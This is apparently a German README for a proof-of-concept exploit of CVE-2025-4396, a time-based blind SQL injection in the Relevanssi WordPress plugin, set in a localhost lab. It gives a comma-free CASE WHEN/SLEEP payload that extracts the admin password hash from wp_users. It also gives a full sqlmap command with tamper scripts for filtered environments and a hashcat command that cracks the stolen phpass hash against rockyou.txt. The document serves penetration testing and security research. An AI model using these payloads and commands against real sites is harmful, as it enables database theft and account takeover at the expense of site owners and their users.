CVE-2025-4396 — Relevanssi SQL-Injection (zeitbasierte Blind-SQL-Injection)
Haftungsausschluss: Dieses Repository ist ausschließlich für autorisierte Penetrationstests, Sicherheitsforschung und Bildungszwecke bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal und unethisch.
Übersicht
Ein Proof-of-Concept-Exploit für eine zeitbasierte Blind-SQL-Injection-Schwachstelle im Relevanssi 4.24.4-WordPress-Plugin. Diese Implementierung adressiert speziell gehärtete Umgebungen, in denen:
- Kommas gefiltert werden — bricht die standardmäßige
SUBSTR(str, pos, len)- und IF(cond, true, false)-Syntax
- Gieriges Schlafverhalten auftritt — MySQL führt
SLEEP() aus, bevor der vollständige Ausdruck ausgewertet wird, was zu Fehlalarmen führt
Hintergrund
In bestimmten Umgebungen (z. B. im DVWP-Labor) schlagen standardmäßige SQL-Injection-Payloads aus zwei Hauptgründen fehl:
| Problem | Auswirkung |
|---|
| Komma-Entfernung | Bricht SUBSTR(str, pos, len) und IF(cond, true, false) |
Gieriges SLEEP() | MySQL wertet den Schlaf vor dem vollständigen booleschen Ausdruck aus, was zu Fehlalarmen führt |
Beide Probleme erfordern gezielte Workarounds – die in den folgenden manuellen und automatisierten Ansätzen behandelt werden.
Manueller Exploit (asy.py)
Ein asynchrones Python-Skript, das eine punktgenaue zeichenweise Extraktion ermöglicht. Es vermeidet den Overhead automatisierter Tools und umgeht die Kommafilterung mithilfe von CASE WHEN-Logik.
Funktionen
| Funktion | Implementierung |
|---|
| Asynchrone E/A | aiohttp für nicht-blockierende Anfragen |
Kern-Injektionslogik
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Warum CASE WHEN statt IF()?
IF() verwendet Kommas und unterliegt einer gierigen Auswertung. CASE WHEN wertet verzögert aus und stellt sicher, dass SLEEP() nur ausgelöst wird, wenn die Bedingung tatsächlich TRUE ist.
Automatisierter Exploit (SQLMap)
SQLMap kann die Erkennung in dieser Umgebung mithilfe spezifischer Tamper-Skripte und Flags automatisieren.
Befehl
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
Flag-Referenz
Hinweis zu --threads=1: Dies ist für eine zuverlässige Extraktion unerlässlich. Mehrere Threads führen dazu, dass sich Schlafverzögerungen überlappen, was das Timing der binären Suche verfälscht und verstümmelte Ausgaben erzeugt.
Laborergebnisse
| Feld | Wert |
|---|
| Ziel | WordPress-Tabelle wp_users |
Den Hash knacken
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- Modus
-m 400 zielt auf phpass-Hashes
- Angriff
-a 0 ist ein direkter Wörterbuchangriff mit rockyou.txt
Referenzen